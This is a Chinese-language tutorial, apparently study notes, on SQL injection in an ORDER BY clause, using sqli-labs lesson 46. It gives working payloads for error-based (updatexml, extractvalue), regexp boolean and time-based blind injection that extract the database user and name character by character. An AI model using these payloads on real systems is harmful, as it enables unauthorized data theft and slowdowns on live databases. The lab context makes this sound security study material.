order by 注入
即注入点在 odrer by 后面的注入
执行语句:select * from users order by $_GET['id']
注入判断
这里以sqli-labs第 46 题为例
在早期注入大量存在的时候利用order by
子句进行快速猜解列数,再配合union select
语句进行回显。可以通过修改order
参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。order by
后面无法直接进行运算,因此order by 3
与order by 2+1
不同
判断注入是否在order by
后面,在参数后面尝试asc
与desc
即可判断
payload
可以直接对order by
后面进行注入,也可以在 order by
后面使用and
进行注入
updatexml 报错
payload:?sort=updatexml(1,if(1=2,1,user()),1)
payload:?sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)
extractvalue 报错
payload:?sort=extractvalue(1,if(1=2,1,user()))
regexp 报错
判断 payload:?sort=(select+1+regexp+if(1=1,1,0x00))
正常?sort=(select+1+regexp+if(1=2,1,0x00))
报错
user()
的结果第一位是r
,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。
通过以下可以得知user()
第一位为r
,ascii
码的16进制为0x72
?sort=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00))
正常
?sort=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00))
报错
基于时间的盲注
判断 payload:?sort=if(1=1,sleep(2),1)
直接使用 sleep
函数,将会导致时间延迟2*当前表数目
,将会导致一定的拒绝服务攻击。
判断 payload:?sort=if(1=2,1,sleep(2)
# 由于表中数目未知,延迟时间2*表数目
,因此正常网速情况下,延迟时间大于 2 可判断成功执行代码。
注数据库 payload:?sort=if(ascii(substr(database(),1,1))=114,1,SLEEP(2))
# 如果数据库第一个字符的 ascii 为114,则正常执行,否则延迟一段时间,慢慢注吧。